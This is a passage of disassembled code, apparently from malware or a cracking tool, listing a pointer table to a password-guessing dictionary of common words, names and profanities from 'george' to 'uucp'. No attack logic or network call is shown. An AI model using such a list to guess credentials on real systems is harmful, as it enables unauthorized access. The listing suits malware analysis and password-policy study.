		dd offset aGeorge	; "george"
		dd offset aGerm		; "germ"
		dd offset aGertrude	; "gertrude"
		dd offset aGhost	; "ghost"
		dd offset aGibson	; "gibson"
		dd offset aGigabyte	; "gigabyte"
		dd offset aGina		; "gina"
		dd offset aGinger	; "ginger"
		dd offset aGirl		; "girl"
		dd offset aGlacier	; "glacier"
		dd offset aGold		; "gold"
		dd offset aGolden	; "golden"
		dd offset aGolf		; "golf"
		dd offset aGolfer	; "golfer"
		dd offset aGood		; "good"
		dd offset aGorgeous	; "gorgeous"
		dd offset aGorges	; "gorges"
		dd offset aGosling	; "gosling"
		dd offset aGouge	; "gouge"
		dd offset aGovermen	; "govermen"
		dd offset aGrades	; "grades"
		dd offset aGraham	; "graham"
		dd offset aGrahm	; "grahm"
		dd offset aGrand	; "grand"
		dd offset aGrant	; "grant"
		dd offset aGreat	; "great"
		dd offset aGreen	; "green"
		dd offset aGroup	; "group"
		dd offset aGryphon	; "gryphon"
		dd offset aGuardian	; "guardian"
		dd offset aGucci	; "gucci"
		dd offset aGuess	; "guess"
		dd offset aGuitar	; "guitar"
		dd offset aGumption	; "gumption"
		dd offset aGuntis	; "guntis"
		dd offset aHack		; "hack"
		dd offset aHacked	; "hacked"
		dd offset aHagar	; "hagar"
		dd offset aHair		; "hair"
		dd offset aHallowee	; "hallowee"
		dd offset aHamlet	; "hamlet"
		dd offset aHamster	; "hamster"
		dd offset aHandel	; "handel"
		dd offset aHandily	; "handily"
		dd offset aHandjob	; "handjob"
		dd offset aHappenin	; "happenin"
		dd offset aHard		; "hard"
		dd offset aHardcore	; "hardcore"
		dd offset aHarddriv	; "harddriv"
		dd offset aHarmony	; "harmony"
		dd offset aHarold	; "harold"
		dd offset aHarvey	; "harvey"
		dd offset aHate		; "hate"
		dd offset aHaven	; "haven"
		dd offset aHawaii	; "hawaii"
		dd offset aHead		; "head"
		dd offset aHeadbang	; "headbang"
		dd offset aHeat		; "heat"
		dd offset aHeathen	; "heathen"
		dd offset aHeather	; "heather"
		dd offset aHebrides	; "hebrides"
		dd offset aHeidi	; "heidi"
		dd offset aHeinlein	; "heinlein"
		dd offset aHell		; "hell"
		dd offset aHello	; "hello"
		dd offset aHelp		; "help"
		dd offset aHerb		; "herb"
		dd offset aHerbert	; "herbert"
		dd offset aHero		; "hero"
		dd offset aHeroin	; "heroin"
		dd offset aHewlett	; "hewlett"
		dd offset aHexadeci	; "hexadeci"
		dd offset aHiawatha	; "hiawatha"
		dd offset aHibernia	; "hibernia"
		dd offset aHidden	; "hidden"
		dd offset aHigh		; "high"
		dd offset aHighland	; "highland"
		dd offset aHitler	; "hitler"
		dd offset aHits		; "hits"
		dd offset aHole		; "hole"
		dd offset aHolly	; "holly"
		dd offset aHollywoo	; "hollywoo"
		dd offset aHomepage	; "homepage"
		dd offset aHomer	; "homer"
		dd offset aHomework	; "homework"
		dd offset aHoney	; "honey"
		dd offset aHooker	; "hooker"
		dd offset aHooters	; "hooters"
		dd offset aHorny	; "horny"
		dd offset aHorrible	; "horrible"
		dd offset aHorror	; "horror"
		dd offset aHorse	; "horse"
		dd offset aHorus	; "horus"
		dd offset aHost		; "host"
		dd offset aHotdog	; "hotdog"
		dd offset aHotel	; "hotel"
		dd offset aHttp		; "http"
		dd offset aHunt		; "hunt"
		dd offset aHunter	; "hunter"
		dd offset aHutchins	; "hutchins"
		dd offset aHydrogen	; "hydrogen"
		dd offset aHyper	; "hyper"
		dd offset aHypertxt	; "hypertxt"
		dd offset aIcecream	; "icecream"
		dd offset aIllumina	; "illumina"
		dd offset aImage	; "image"
		dd offset aImbrogli	; "imbrogli"
		dd offset aImmortal	; "immortal"
		dd offset aImperial	; "imperial"
		dd offset aInclude	; "include"
		dd offset aIndia	; "india"
		dd offset aIndian	; "indian"
		dd offset aIndiana	; "indiana"
		dd offset aIndians	; "indians"
		dd offset aIngres	; "ingres"
		dd offset aIngress	; "ingress"
		dd offset aIngrid	; "ingrid"
		dd offset aInna		; "inna"
		dd offset aInnocuou	; "innocuou"
		dd offset aInput	; "input"
		dd offset aInside	; "inside"
		dd offset aInteger	; "integer"
		dd offset aInvent	; "invent"
		dd offset aIrene	; "irene"
		dd offset aIrishman	; "irishman"
		dd offset aIsis		; "isis"
		dd offset aJackie	; "jackie"
		dd offset aJail		; "jail"
		dd offset aJane		; "jane"
		dd offset aJanet	; "janet"
		dd offset aJanice	; "janice"
		dd offset aJanie	; "janie"
		dd offset aJapan	; "japan"
		dd offset aJasmin	; "jasmin"
		dd offset aJava		; "java"
		dd offset aJazz		; "jazz"
		dd offset aJean		; "jean"
		dd offset aJeanne	; "jeanne"
		dd offset aJeff		; "jeff"
		dd offset aJenni	; "jenni"
		dd offset aJennifer	; "jennifer"
		dd offset aJenny	; "jenny"
		dd offset aJerry	; "jerry"
		dd offset aJerusale	; "jerusale"
		dd offset aJessica	; "jessica"
		dd offset aJester	; "jester"
		dd offset aJewelry	; "jewelry"
		dd offset aJill		; "jill"
		dd offset aJixian	; "jixian"
		dd offset aJoanne	; "joanne"
		dd offset aJody		; "jody"
		dd offset aJohn		; "john"
		dd offset aJohndoe	; "johndoe"
		dd offset aJohnny	; "johnny"
		dd offset aJoseph	; "joseph"
		dd offset aJoshua	; "joshua"
		dd offset aJournal	; "journal"
		dd offset aJoyce	; "joyce"
		dd offset aJudith	; "judith"
		dd offset aJudy		; "judy"
		dd offset aJuggle	; "juggle"
		dd offset aJuicy	; "juicy"
		dd offset aJulia	; "julia"
		dd offset aJulie	; "julie"
		dd offset aJuliet	; "juliet"
		dd offset aJune		; "june"
		dd offset aJupiter	; "jupiter"
		dd offset aKaka		; "kaka"
		dd offset aKaren	; "karen"
		dd offset aKarie	; "karie"
		dd offset aKarina	; "karina"
		dd offset aKatana	; "katana"
		dd offset aKate		; "kate"
		dd offset aKathleen	; "kathleen"
		dd offset aKathrine	; "kathrine"
		dd offset aKathy	; "kathy"
		dd offset aKatina	; "katina"
		dd offset aKatrina	; "katrina"
		dd offset aKelly	; "kelly"
		dd offset aKeri		; "keri"
		dd offset aKermit	; "kermit"
		dd offset aKernel	; "kernel"
		dd offset aKerri	; "kerri"
		dd offset aKerrie	; "kerrie"
		dd offset aKerry	; "kerry"
		dd offset aKevin	; "kevin"
		dd offset aKewl		; "kewl"
		dd offset aKeybord	; "keybord"
		dd offset aKeyin	; "keyin"
		dd offset aKeyword	; "keyword"
		dd offset aKids		; "kids"
		dd offset aKill		; "kill"
		dd offset aKillthem	; "killthem"
		dd offset aKilo		; "kilo"
		dd offset aKimberly	; "kimberly"
		dd offset aKing		; "king"
		dd offset aKirk		; "kirk"
		dd offset aKirkland	; "kirkland"
		dd offset aKiss		; "kiss"
		dd offset aKissmyas	; "kissmyas"
		dd offset aKitten	; "kitten"
		dd offset aKlingon	; "klingon"
		dd offset aKnife	; "knife"
		dd offset aKnight	; "knight"
		dd offset aKnightma	; "knightma"
		dd offset aKnown	; "known"
		dd offset aKrista	; "krista"
		dd offset aKristen	; "kristen"
		dd offset aKristi	; "kristi"
		dd offset aKristie	; "kristie"
		dd offset aKristin	; "kristin"
		dd offset aKristine	; "kristine"
		dd offset aKristy	; "kristy"
		dd offset aLadies	; "ladies"
		dd offset aLadle	; "ladle"
		dd offset aLakers	; "lakers"
		dd offset aLambda	; "lambda"
		dd offset aLaminati	; "laminati"
		dd offset aLana		; "lana"
		dd offset aLaptop	; "laptop"
		dd offset aLara		; "lara"
		dd offset aLarkin	; "larkin"
		dd offset aLarry	; "larry"
		dd offset aLaser	; "laser"
		dd offset aLaura	; "laura"
		dd offset aLava		; "lava"
		dd offset aLazarus	; "lazarus"
		dd offset aLazer	; "lazer"
		dd offset aLeah		; "leah"
		dd offset aLebesgue	; "lebesgue"
		dd offset aLeft		; "left"
		dd offset aLeftwing	; "leftwing"
		dd offset aLegal	; "legal"
		dd offset aLeland	; "leland"
		dd offset aLeroy	; "leroy"
		dd offset aLesbian	; "lesbian"
		dd offset aLeslie	; "leslie"
		dd offset aLetmein	; "letmein"
		dd offset aLewis	; "lewis"
		dd offset aLexluthe	; "lexluthe"
		dd offset aLiberal	; "liberal"
		dd offset aLibrary	; "library"
		dd offset aLick		; "lick"
		dd offset aLicker	; "licker"
		dd offset aLife		; "life"
		dd offset aLight	; "light"
		dd offset aLightsab	; "lightsab"
		dd offset aLima		; "lima"
		dd offset aLimbaugh	; "limbaugh"
		dd offset aLimited	; "limited"
		dd offset aLinda	; "linda"
		dd offset aLink		; "link"
		dd offset aLion		; "lion"
		dd offset aLips		; "lips"
		dd offset aLisa		; "lisa"
		dd offset aLisp		; "lisp"
		dd offset aLiteratu	; "literatu"
		dd offset aLive		; "live"
		dd offset aLoad		; "load"
		dd offset aLock		; "lock"
		dd offset aLockout	; "lockout"
		dd offset aLockword	; "lockword"
		dd offset aLogic	; "logic"
		dd offset aLoginwor	; "loginwor"
		dd offset aLogout	; "logout"
		dd offset aLois		; "lois"
		dd offset aLolopc	; "lolopc"
		dd offset aLoose	; "loose"
		dd offset aLore		; "lore"
		dd offset aLori		; "lori"
		dd offset aLorin	; "lorin"
		dd offset aLorraine	; "lorraine"
		dd offset aLoser	; "loser"
		dd offset aLouis	; "louis"
		dd offset aLovebug	; "lovebug"
		dd offset aLover	; "lover"
		dd offset aLuck		; "luck"
		dd offset aLucus	; "lucus"
		dd offset aLucy		; "lucy"
		dd offset aLude		; "lude"
		dd offset aLuke		; "luke"
		dd offset aLust		; "lust"
		dd offset aLynn		; "lynn"
		dd offset aLynne	; "lynne"
		dd offset aMachine	; "machine"
		dd offset aMacintos	; "macintos"
		dd offset aMack		; "mack"
		dd offset aMacro	; "macro"
		dd offset aMaggot	; "maggot"
		dd offset aMagic	; "magic"
		dd offset aMagnet	; "magnet"
		dd offset aMail		; "mail"
		dd offset aMaint	; "maint"
		dd offset aMalcolm	; "malcolm"
		dd offset aMalcom	; "malcom"
		dd offset aMana		; "mana"
		dd offset aManager	; "manager"
		dd offset aMara		; "mara"
		dd offset aMarci	; "marci"
		dd offset aMarcy	; "marcy"
		dd offset aMaria	; "maria"
		dd offset aMariens	; "mariens"
		dd offset aMarietta	; "marietta"
		dd offset aMarijuan	; "marijuan"
		dd offset aMarines	; "marines"
		dd offset aMark		; "mark"
		dd offset aMarkus	; "markus"
		dd offset aMarni	; "marni"
		dd offset aMarriage	; "marriage"
		dd offset aMars		; "mars"
		dd offset aMarty	; "marty"
		dd offset aMarvin	; "marvin"
		dd offset aMary		; "mary"
		dd offset aMason	; "mason"
		dd offset aMaster	; "master"
		dd offset aMath		; "math"
		dd offset aMaurice	; "maurice"
		dd offset aMeagan	; "meagan"
		dd offset aMegabyte	; "megabyte"
		dd offset aMegadeth	; "megadeth"
		dd offset aMegan	; "megan"
		dd offset aMelissa	; "melissa"
		dd offset aMellon	; "mellon"
		dd offset aMelrose	; "melrose"
		dd offset aMember	; "member"
		dd offset aMemory	; "memory"
		dd offset aMenace	; "menace"
		dd offset aMenu		; "menu"
		dd offset aMercury	; "mercury"
		dd offset aMerlin	; "merlin"
		dd offset aMetal	; "metal"
		dd offset aMetalhea	; "metalhea"
		dd offset aMetalica	; "metalica"
		dd offset aMets		; "mets"
		dd offset aMice		; "mice"
		dd offset aMichael	; "michael"
		dd offset aMichel	; "michel"
		dd offset aMichelan	; "michelan"
		dd offset aMichele	; "michele"
		dd offset aMichelle	; "michelle"
		dd offset aMickey	; "mickey"
		dd offset aMicro	; "micro"
		dd offset aMicrochi	; "microchi"
		dd offset aMicropro	; "micropro"
		dd offset aMicrosof	; "microsof"
		dd offset aMidieval	; "midieval"
		dd offset aMike		; "mike"
		dd offset aMine		; "mine"
		dd offset aMinimum	; "minimum"
		dd offset aMinsky	; "minsky"
		dd offset aMisfit	; "misfit"
		dd offset aMission	; "mission"
		dd offset aMkii		; "mkii"
		dd offset aMode		; "mode"
		dd offset aModem	; "modem"
		dd offset aMogul	; "mogul"
		dd offset aMoguls	; "moguls"
		dd offset aMonday	; "monday"
		dd offset aMonica	; "monica"
		dd offset aMoom		; "moom"
		dd offset aMoor		; "moor"
		dd offset aMoose	; "moose"
		dd offset aMore		; "more"
		dd offset aMorley	; "morley"
		dd offset aMorris	; "morris"
		dd offset aMortal	; "mortal"
		dd offset aMortalco	; "mortalco"
		dd offset aMortgage	; "mortgage"
		dd offset aMosaic	; "mosaic"
		dd offset aMountain	; "mountain"
		dd offset aMouse	; "mouse"
		dd offset aMove		; "move"
		dd offset aMovie	; "movie"
		dd offset aMovies	; "movies"
		dd offset aMozart	; "mozart"
		dd offset aMpeg		; "mpeg"
		dd offset aMsdos	; "msdos"
		dd offset aMuppets	; "muppets"
		dd offset aMutant	; "mutant"
		dd offset aNagel	; "nagel"
		dd offset aName		; "name"
		dd offset aNancy	; "nancy"
		dd offset aNapoleon	; "napoleon"
		dd offset aNasa		; "nasa"
		dd offset aNavy		; "navy"
		dd offset aNepenthe	; "nepenthe"
		dd offset aNeptune	; "neptune"
		dd offset aNess		; "ness"
		dd offset aNetscape	; "netscape"
		dd offset aNetwork_0	; "network"
		dd offset aNewborn	; "newborn"
		dd offset aNews		; "news"
		dd offset aNewsgrou	; "newsgrou"
		dd offset aNewton	; "newton"
		dd offset aNewyork	; "newyork"
		dd offset aNext		; "next"
		dd offset aNice		; "nice"
		dd offset aNicole	; "nicole"
		dd offset aNicotine	; "nicotine"
		dd offset aNight	; "night"
		dd offset aNightmar	; "nightmar"
		dd offset aNintendo	; "nintendo"
		dd offset aNita		; "nita"
		dd offset aNnaacp	; "nnaacp"
		dd offset aNoble	; "noble"
		dd offset aNobody	; "nobody"
		dd offset aNode		; "node"
		dd offset aNoreen	; "noreen"
		dd offset aNotes	; "notes"
		dd offset aNoth		; "noth"
		dd offset aNova		; "nova"
		dd offset aNovel	; "novel"
		dd offset aNovember	; "november"
		dd offset aNoxious	; "noxious"
		dd offset aNuclear	; "nuclear"
		dd offset aNude		; "nude"
		dd offset aNuke		; "nuke"
		dd offset aNukem	; "nukem"
		dd offset aNull_1	; "null"
		dd offset aNumber	; "number"
		dd offset aNutritio	; "nutritio"
		dd offset aNuts		; "nuts"
		dd offset aNyquist	; "nyquist"
		dd offset aObscurit	; "obscurit"
		dd offset aOceanogr	; "oceanogr"
		dd offset aOcelot	; "ocelot"
		dd offset aOffice	; "office"
		dd offset aOkay		; "okay"
		dd offset aOldage	; "oldage"
		dd offset aOlivetti	; "olivetti"
		dd offset aOlivia	; "olivia"
		dd offset aOmega	; "omega"
		dd offset aOpen		; "open"
		dd offset aOpening	; "opening"
		dd offset aOpenlock	; "openlock"
		dd offset aOpensesa	; "opensesa"
		dd offset aOperator	; "operator"
		dd offset aOrca		; "orca"
		dd offset aOrient	; "orient"
		dd offset aOrwell	; "orwell"
		dd offset aOscar	; "oscar"
		dd offset aOsiris	; "osiris"
		dd offset aOutdoors	; "outdoors"
		dd offset aOutlaw	; "outlaw"
		dd offset aOutput	; "output"
		dd offset aOutside	; "outside"
		dd offset aOxford	; "oxford"
		dd offset aPacific	; "pacific"
		dd offset aPackard	; "packard"
		dd offset aPacker	; "packer"
		dd offset aPainless	; "painless"
		dd offset aPaint	; "paint"
		dd offset aPakistan	; "pakistan"
		dd offset aPamela	; "pamela"
		dd offset aPapa		; "papa"
		dd offset aPaper	; "paper"
		dd offset aPapers	; "papers"
		dd offset aPascal	; "pascal"
		dd offset aPassphra	; "passphra"
		dd offset aPaste	; "paste"
		dd offset aPatricia	; "patricia"
		dd offset aPatriot	; "patriot"
		dd offset aPatty	; "patty"
		dd offset aPaula	; "paula"
		dd offset aPeanuts	; "peanuts"
		dd offset aPecker	; "pecker"
		dd offset aPencil	; "pencil"
		dd offset aPenelope	; "penelope"
		dd offset aPenguin	; "penguin"
		dd offset aPenis	; "penis"
		dd offset aPenname	; "penname"
		dd offset aPentagon	; "pentagon"
		dd offset aPentagra	; "pentagra"
		dd offset aPenthous	; "penthous"
		dd offset aPentium	; "pentium"
		dd offset aPeoria	; "peoria"
		dd offset aPepper	; "pepper"
		dd offset aPercolat	; "percolat"
		dd offset aPerfect	; "perfect"
		dd offset aPermit	; "permit"
		dd offset aPersimmo	; "persimmo"
		dd offset aPersona	; "persona"
		dd offset aPervert	; "pervert"
		dd offset aPete		; "pete"
		dd offset aPeter	; "peter"
		dd offset aPhil		; "phil"
		dd offset aPhilip	; "philip"
		dd offset aPhoenix	; "phoenix"
		dd offset aPhone	; "phone"
		dd offset aPhoton	; "photon"
		dd offset aPhrack	; "phrack"
		dd offset aPhrase	; "phrase"
		dd offset aPhreak	; "phreak"
		dd offset aPhuck	; "phuck"
		dd offset aPick		; "pick"
		dd offset aPierre	; "pierre"
		dd offset aPimp		; "pimp"
		dd offset aPinname	; "pinname"
		dd offset aPiss		; "piss"
		dd offset aPizza	; "pizza"
		dd offset aPlane	; "plane"
		dd offset aPlayboy	; "playboy"
		dd offset aPlover	; "plover"
		dd offset aPluto	; "pluto"
		dd offset aPlymouth	; "plymouth"
		dd offset aPoetry	; "poetry"
		dd offset aPolice	; "police"
		dd offset aPolly	; "polly"
		dd offset aPolynomi	; "polynomi"
		dd offset aPonderin	; "ponderin"
		dd offset aPoop		; "poop"
		dd offset aPoor		; "poor"
		dd offset aPork		; "pork"
		dd offset aPorn		; "porn"
		dd offset aPorno	; "porno"
		dd offset aPorsche	; "porsche"
		dd offset aPost		; "post"
		dd offset aPoster	; "poster"
		dd offset aPower	; "power"
		dd offset aPraise	; "praise"
		dd offset aPrecious	; "precious"
		dd offset aPrelude	; "prelude"
		dd offset aPresto	; "presto"
		dd offset aPrince	; "prince"
		dd offset aPrinceto	; "princeto"
		dd offset aPrinter	; "printer"
		dd offset aPriv		; "priv"
		dd offset aPrivate	; "private"
		dd offset aPrivs	; "privs"
		dd offset aProceed	; "proceed"
		dd offset aProcesso	; "processo"
		dd offset aProfesso	; "professo"
		dd offset aProfile	; "profile"
		dd offset aProgram	; "program"
		dd offset aPrompt	; "prompt"
		dd offset aProtect	; "protect"
		dd offset aProtozoa	; "protozoa"
		dd offset aPsycho	; "psycho"
		dd offset aPsychopa	; "psychopa"
		dd offset aPublic	; "public"
		dd offset aPuck		; "puck"
		dd offset aPuke		; "puke"
		dd offset aPumpkin	; "pumpkin"
		dd offset aPuneet	; "puneet"
		dd offset aPunisher	; "punisher"
		dd offset aPunk		; "punk"
		dd offset aPuppet	; "puppet"
		dd offset aPussy	; "pussy"
		dd offset aQuebec	; "quebec"
		dd offset aQwert	; "qwert"
		dd offset aQwerty	; "qwerty"
		dd offset aRabbit	; "rabbit"
		dd offset aRachel	; "rachel"
		dd offset aRachelle	; "rachelle"
		dd offset aRachmani	; "rachmani"
		dd offset aRaid		; "raid"
		dd offset aRain		; "rain"
		dd offset aRainbow	; "rainbow"
		dd offset aRaindrop	; "raindrop"
		dd offset aRaleigh	; "raleigh"
		dd offset aRandom_0	; "random"
		dd offset aRape		; "rape"
		dd offset aRascal	; "rascal"
		dd offset aRazor	; "razor"
		dd offset aReagan	; "reagan"
		dd offset aReality	; "reality"
		dd offset aReally	; "really"
		dd offset aReam		; "ream"
		dd offset aReaper	; "reaper"
		dd offset aRebal	; "rebal"
		dd offset aRebecca	; "rebecca"
		dd offset aRebel	; "rebel"
		dd offset aRecord	; "record"
		dd offset aReddawn	; "reddawn"
		dd offset aRedhead	; "redhead"
		dd offset aReferenc	; "referenc"
		dd offset aRegional	; "regional"
		dd offset aRelease	; "release"
		dd offset aRemote	; "remote"
		dd offset aRenee	; "renee"
		dd offset aReno		; "reno"
		dd offset aRent		; "rent"
		dd offset aReport	; "report"
		dd offset aRepublic	; "republic"
		dd offset aResistan	; "resistan"
		dd offset aReveal	; "reveal"
		dd offset aRhino	; "rhino"
		dd offset aRich		; "rich"
		dd offset aRick		; "rick"
		dd offset aRiffraff	; "riffraff"
		dd offset aRight	; "right"
		dd offset aRightwin	; "rightwin"
		dd offset aRing		; "ring"
		dd offset aRiot		; "riot"
		dd offset aRipple	; "ripple"
		dd offset aRisc		; "risc"
		dd offset aRoach	; "roach"
		dd offset aRobert	; "robert"
		dd offset aRobin	; "robin"
		dd offset aRobot	; "robot"
		dd offset aRobotics	; "robotics"
		dd offset aRobyn	; "robyn"
		dd offset aRochelle	; "rochelle"
		dd offset aRocheste	; "rocheste"
		dd offset aRock		; "rock"
		dd offset aRocky	; "rocky"
		dd offset aRockyhor	; "rockyhor"
		dd offset aRodent	; "rodent"
		dd offset aRolex	; "rolex"
		dd offset aRomano	; "romano"
		dd offset aRomeo	; "romeo"
		dd offset aRomulan	; "romulan"
		dd offset aRonald	; "ronald"
		dd offset aRose		; "rose"
		dd offset aRosebud	; "rosebud"
		dd offset aRosemary	; "rosemary"
		dd offset aRoses	; "roses"
		dd offset aRough	; "rough"
		dd offset aRubber	; "rubber"
		dd offset aRuben	; "ruben"
		dd offset aRuby		; "ruby"
		dd offset aRude		; "rude"
		dd offset aRules	; "rules"
		dd offset aRunning	; "running"
		dd offset aRush		; "rush"
		dd offset aRuth		; "ruth"
		dd offset aSafe		; "safe"
		dd offset aSalami	; "salami"
		dd offset aSale		; "sale"
		dd offset aSalt		; "salt"
		dd offset aSamantha	; "samantha"
		dd offset aSample	; "sample"
		dd offset aSandra	; "sandra"
		dd offset aSandy	; "sandy"
		dd offset aSara		; "sara"
		dd offset aSarah	; "sarah"
		dd offset aSaturday	; "saturday"
		dd offset aSaturn	; "saturn"
		dd offset aSaxon	; "saxon"
		dd offset aScamper	; "scamper"
		dd offset aScheme	; "scheme"
		dd offset aSchool	; "school"
		dd offset aSchoolsucks	; "schoolsucks"
		dd offset aScifi	; "scifi"
		dd offset aScorpion	; "scorpion"
		dd offset aScott	; "scott"
		dd offset aScotty	; "scotty"
		dd offset aScout	; "scout"
		dd offset aSearch	; "search"
		dd offset aSecurity	; "security"
		dd offset aSeed		; "seed"
		dd offset aSega		; "sega"
		dd offset aSensor	; "sensor"
		dd offset aSentinel	; "sentinel"
		dd offset aSentry	; "sentry"
		dd offset aSerenity	; "serenity"
		dd offset aSerial	; "serial"
		dd offset aService	; "service"
		dd offset aSesame	; "sesame"
		dd offset aSexy		; "sexy"
		dd offset aShannon	; "shannon"
		dd offset aSharc	; "sharc"
		dd offset aShark	; "shark"
		dd offset aSharks	; "sharks"
		dd offset aSharon	; "sharon"
		dd offset aSheffiel	; "sheffiel"
		dd offset aSheldon	; "sheldon"
		dd offset aShell	; "shell"
		dd offset aSherri	; "sherri"
		dd offset aShift	; "shift"
		dd offset aShirley	; "shirley"
		dd offset aShit		; "shit"
		dd offset aShitpot	; "shitpot"
		dd offset aShiva	; "shiva"
		dd offset aShivers	; "shivers"
		dd offset aShort	; "short"
		dd offset aShuttle	; "shuttle"
		dd offset aSick		; "sick"
		dd offset aSierra	; "sierra"
		dd offset aSignatur	; "signatur"
		dd offset aSilver	; "silver"
		dd offset aSimcity	; "simcity"
		dd offset aSimon	; "simon"
		dd offset aSimple	; "simple"
		dd offset aSimpsons	; "simpsons"
		dd offset aSimulati	; "simulati"
		dd offset aSinger	; "singer"
		dd offset aSingle	; "single"
		dd offset aSite		; "site"
		dd offset aSkull	; "skull"
		dd offset aSlave	; "slave"
		dd offset aSlick	; "slick"
		dd offset aSliders	; "sliders"
		dd offset aSlow		; "slow"
		dd offset aSlut		; "slut"
		dd offset aSmall	; "small"
		dd offset aSmart	; "smart"
		dd offset aSmile	; "smile"
		dd offset aSmiles	; "smiles"
		dd offset aSmooch	; "smooch"
		dd offset aSmother	; "smother"
		dd offset aSmtp		; "smtp"
		dd offset aSmut		; "smut"
		dd offset aSnach	; "snach"
		dd offset aSnafu	; "snafu"
		dd offset aSnake	; "snake"
		dd offset aSnatch	; "snatch"
		dd offset aSnoopy	; "snoopy"
		dd offset aSoap		; "soap"
		dd offset aSocial	; "social"
		dd offset aSocrates	; "socrates"
		dd offset aSodomy	; "sodomy"
		dd offset aSoft		; "soft"
		dd offset aSoftware	; "software"
		dd offset aSomebody	; "somebody"
		dd offset aSondra	; "sondra"
		dd offset aSonia	; "sonia"
		dd offset aSonic	; "sonic"
		dd offset aSonya	; "sonya"
		dd offset aSossina	; "sossina"
		dd offset aSource	; "source"
		dd offset aSouth	; "south"
		dd offset aSpaceshi	; "spaceshi"
		dd offset aSparrows	; "sparrows"
		dd offset aSpear	; "spear"
		dd offset aSpell	; "spell"
		dd offset aSpice	; "spice"
		dd offset aSpider	; "spider"
		dd offset aSpiderma	; "spiderma"
		dd offset aSpit		; "spit"
		dd offset aSpred	; "spred"
		dd offset aSpring	; "spring"
		dd offset aSpringer	; "springer"
		dd offset aSpunk	; "spunk"
		dd offset aSquires	; "squires"
		dd offset aSr71		; "sr71"
		dd offset aStacey	; "stacey"
		dd offset aStaci	; "staci"
		dd offset aStacie	; "stacie"
		dd offset aStacy	; "stacy"
		dd offset aStar		; "star"
		dd offset aStarship	; "starship"
		dd offset aStart	; "start"
		dd offset aStartrek	; "startrek"
		dd offset aStartup	; "startup"
		dd offset aStarwars	; "starwars"
		dd offset aSteak	; "steak"
		dd offset aSteal	; "steal"
		dd offset aSteel	; "steel"
		dd offset aSteph	; "steph"
		dd offset aStephani	; "stephani"
		dd offset aStereo	; "stereo"
		dd offset aSteve	; "steve"
		dd offset aStoneage	; "stoneage"
		dd offset aStoned	; "stoned"
		dd offset aStones	; "stones"
		dd offset aStrange	; "strange"
		dd offset aStrangle	; "strangle"
		dd offset aStratfor	; "stratfor"
		dd offset aStreetfi	; "streetfi"
		dd offset aString	; "string"
		dd offset aStrip	; "strip"
		dd offset aStudent	; "student"
		dd offset aStuttgar	; "stuttgar"
		dd offset aSubscrib	; "subscrib"
		dd offset aSubway	; "subway"
		dd offset aSuccess	; "success"
		dd offset aSuck		; "suck"
		dd offset aSuckmydi	; "suckmydi"
		dd offset aSucks	; "sucks"
		dd offset aSummer	; "summer"
		dd offset aSunday	; "sunday"
		dd offset aSuperman	; "superman"
		dd offset aSuperson	; "superson"
		dd offset aSupersta	; "supersta"
		dd offset aSuperuse	; "superuse"
		dd offset aSupervis	; "supervis"
		dd offset aSupport	; "support"
		dd offset aSupporte	; "supporte"
		dd offset aSurfer	; "surfer"
		dd offset aSurfing	; "surfing"
		dd offset aSusan	; "susan"
		dd offset aSusanne	; "susanne"
		dd offset aSusie	; "susie"
		dd offset aSuzanne	; "suzanne"
		dd offset aSuzie	; "suzie"
		dd offset aSwearer	; "swearer"
		dd offset aSweat	; "sweat"
		dd offset aSwitch	; "switch"
		dd offset aSword	; "sword"
		dd offset aSybil	; "sybil"
		dd offset aSymmetry	; "symmetry"
		dd offset aSysadmin	; "sysadmin"
		dd offset aSysop	; "sysop"
		dd offset aTabasco	; "tabasco"
		dd offset aTalk		; "talk"
		dd offset aTall		; "tall"
		dd offset aTamara	; "tamara"
		dd offset aTami		; "tami"
		dd offset aTamie	; "tamie"
		dd offset aTammy	; "tammy"
		dd offset aTangerin	; "tangerin"
		dd offset aTango	; "tango"
		dd offset aTape		; "tape"
		dd offset aTara		; "tara"
		dd offset aTarget	; "target"
		dd offset aTarragon	; "tarragon"
		dd offset aTaylor	; "taylor"
		dd offset aTeacher	; "teacher"
		dd offset aTeam		; "team"
		dd offset aTeapot	; "teapot"
		dd offset aTears	; "tears"
		dd offset aTech		; "tech"
		dd offset aTeen		; "teen"
		dd offset aTeenage	; "teenage"
		dd offset aTelephon	; "telephon"
		dd offset aTelnet	; "telnet"
		dd offset aTemptati	; "temptati"
		dd offset aTennis	; "tennis"
		dd offset aTera		; "tera"
		dd offset aTerminal	; "terminal"
		dd offset aTerminat	; "terminat"
		dd offset aTess		; "tess"
		dd offset aTetris	; "tetris"
		dd offset aText		; "text"
		dd offset aThailand	; "thailand"
		dd offset aTheresa	; "theresa"
		dd offset aThin		; "thin"
		dd offset aThursday	; "thursday"
		dd offset aTiffany	; "tiffany"
		dd offset aTiger	; "tiger"
		dd offset aTime		; "time"
		dd offset aTina		; "tina"
		dd offset aTits		; "tits"
		dd offset aToad		; "toad"
		dd offset aToggle	; "toggle"
		dd offset aToken	; "token"
		dd offset aTokenrin	; "tokenrin"
		dd offset aTomato	; "tomato"
		dd offset aTopograp	; "topograp"
		dd offset aTortoise	; "tortoise"
		dd offset aToxic	; "toxic"
		dd offset aToyota	; "toyota"
		dd offset aTraci	; "traci"
		dd offset aTracie	; "tracie"
		dd offset aTracy	; "tracy"
		dd offset aTrails	; "trails"
		dd offset aTransfer	; "transfer"
		dd offset aTrap		; "trap"
		dd offset aTrapdoor	; "trapdoor"
		dd offset aTree		; "tree"
		dd offset aTrek		; "trek"
		dd offset aTrisha	; "trisha"
		dd offset aTrivial	; "trivial"
		dd offset aTrojan	; "trojan"
		dd offset aTrombone	; "trombone"
		dd offset aTron		; "tron"
		dd offset aTrue		; "true"
		dd offset aTruth	; "truth"
		dd offset aTubas	; "tubas"
		dd offset aTuesday	; "tuesday"
		dd offset aTurn		; "turn"
		dd offset aTuttle	; "tuttle"
		dd offset aUgly		; "ugly"
		dd offset aUmesh	; "umesh"
		dd offset aUncle	; "uncle"
		dd offset aUndo		; "undo"
		dd offset aUnhappy	; "unhappy"
		dd offset aUnicorn	; "unicorn"
		dd offset aUniform	; "uniform"
		dd offset aUniversa	; "universa"
		dd offset aUniverse	; "universe"
		dd offset aUniversi	; "universi"
		dd offset aUnknown_0	; "unknown"
		dd offset aUnlock	; "unlock"
		dd offset aUpload	; "upload"
		dd offset aUranus	; "uranus"
		dd offset aUrchin	; "urchin"
		dd offset aUrsula	; "ursula"
		dd offset aUsenet	; "usenet"
		dd offset aUsermane	; "usermane"
		dd offset aUsername	; "username"
		dd offset aUsmc		; "usmc"
		dd offset aUtil		; "util"
		dd offset aUtility	; "utility"
		dd offset aUucp		; "uucp"
